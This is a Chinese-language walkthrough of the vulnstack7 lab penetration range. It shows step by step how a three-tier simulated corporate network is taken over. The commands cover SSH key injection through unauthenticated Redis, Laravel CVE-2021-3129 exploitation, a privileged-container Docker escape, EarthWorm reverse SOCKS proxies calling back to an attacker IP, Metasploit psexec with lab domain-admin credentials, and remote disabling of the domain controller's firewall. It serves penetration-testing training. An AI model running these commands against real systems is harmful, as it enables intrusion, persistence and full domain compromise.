1. 靶场环境搭建与拓扑解析
红日安全团队推出的vulnstack7靶场是一个高度仿真的企业内网渗透测试环境。这个靶场最吸引我的地方在于它采用了三层网络隔离架构,完美模拟了现实中企业常见的DMZ区、办公区和核心数据区的网络划分方式。
我们先来看下这个靶场的网络拓扑结构。最外层是DMZ区,部署着一台Ubuntu服务器(Web1),这台机器配置了双网卡:一块桥接网卡对外提供服务,另一块连接VMnet8虚拟网络。中间层是第二网络区域,包含另一台Ubuntu服务器(Web2)和Windows 7主机(PC1),它们也都配置了双网卡分别连接VMnet8和VMnet14。最内层是第三网络区域,部署着域控制器Windows Server 2012和另一台Windows 7主机(PC2),它们只连接VMnet14网络。
在搭建环境时,有几个关键配置需要注意:
- DMZ区的Ubuntu需要以root权限启动Redis和Nginx服务
- 第二层网络的Ubuntu需要启动Docker容器
- Windows 7 PC1需要以管理员权限启动通达OA并关闭防火墙
- 所有机器的默认账户密码都在官方文档中提供,建议提前记录好
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 外网渗透:Redis未授权访问实战
信息收集永远是渗透测试的第一步。使用nmap对目标网段进行扫描后,我们发现目标主机开放了6379 Redis端口。Redis未授权访问是近年来非常常见的一个高危漏洞,主要原因在于管理员没有为Redis配置认证密码,并且将服务绑定在了0.0.0.0地址上。
利用这个漏洞,我们可以直接通过redis-cli连接目标Redis服务。接下来就是经典的SSH公钥注入攻击:
- 在攻击机生成SSH密钥对:
ssh-keygen -t rsa - 将公钥格式化后写入Redis:
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt - 通过Redis未授权访问写入目标主机:
cat key.txt | redis-cli -h 目标IP -x set xxx - 配置Redis将数据保存为authorized_keys文件:
code复制config set dir /root/.ssh config set dbfilename authorized_keys save
成功获取SSH访问权限后,我在目标服务器上发现了nginx的配置文件,显示81端口的流量被反向代理到了内网的192.168.52.20服务器。这个发现为我们后续的内网渗透提供了重要跳板。
3. 突破内网第一层:Laravel RCE与Docker逃逸
通过访问81端口,我们发现了一个Laravel 8.29.0搭建的Web应用。这个版本的Laravel存在CVE-2021-3129漏洞,可以利用其Debug模式下的日志功能实现远程代码执行。
我推荐使用GitHub上开源的Exp工具来利用这个漏洞。实际操作中需要注意:
- 使用哥斯拉2.92版本连接,高版本可能由于加密方式变更导致连接失败
- 成功获取的shell位于Docker容器内部,需要先进行容器内提权
- 通过查找SUID文件发现可疑的shell程序,利用环境变量劫持实现提权
在容器内获得root权限后,我们面临Docker逃逸的挑战。由于这个容器是以特权模式运行的,我们可以直接挂载宿主机磁盘:
code复制mkdir /gz
mount /dev/sda1 /gz
通过将SSH公钥写入宿主机的authorized_keys文件,我们成功逃逸到宿主机环境。这里有个小技巧:如果挂载失败,可以先尝试umount设备后再重新挂载。
4. 内网横向移动:多层代理与漏洞利用
现在我们已经控制了DMZ区的Web1和第二层网络的Web2。由于网络隔离,我们需要搭建代理通道才能继续深入内网。
首先使用EarthWorm工具建立SOCKS5反向代理:
- 攻击机执行:
./ew_for_linux64 -s rcsocks -l 1080 -e 1234 - 在Web1上传ew并执行:
nohup ./ew_for_linux64 -s rssocks -d 攻击机IP -e 1234 - 配置proxychains:
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
通过代理扫描发现192.168.52.30运行着通达OA V11.3。这个版本存在多个漏洞,我们可以通过以下步骤利用:
- 使用BurpSuite抓包修改上传请求,上传图片木马
- 通过文件包含漏洞执行图片马中的代码
- 使用MSF的web_delivery模块获取Meterpreter会话
在获取Windows 7 PC1的控制权后,我们收集到域环境信息:
- 域名:whoamianony.org
- 域控:DC.whoamianony.org (192.168.93.30)
- 域管理员:Administrator/Whoami2021
5. 攻陷域控:权限提升与最终控制
为了渗透第三层网络,我们需要建立更复杂的代理链:
- 攻击机:
./ew_for_linux64 -s lcx_listen -l 1090 -e 1235 - PC1执行:
ew_for_Win.exe -s ssocksd -l 999 - Web1执行:
./ew_for_linux64 -s lcx_slave -d 攻击机IP -e 1235 -f PC1_IP -g 999
有了代理通道后,我们可以扫描93网段。虽然尝试永恒之蓝漏洞失败,但我们已经掌握了域管理员凭据。通过psexec模块成功获取域控权限:
code复制use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
exploit
在实际测试中,可能会遇到防火墙阻挡。这时可以通过已控制的PC1远程关闭域控防火墙:
code复制net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall
最后,使用Cobalt Strike的横向移动功能,我们成功控制了整个内网的所有主机。整个渗透过程涉及Web漏洞利用、权限提升、网络代理搭建、横向移动等多种技术,完整再现了真实攻防对抗中的经典场景。
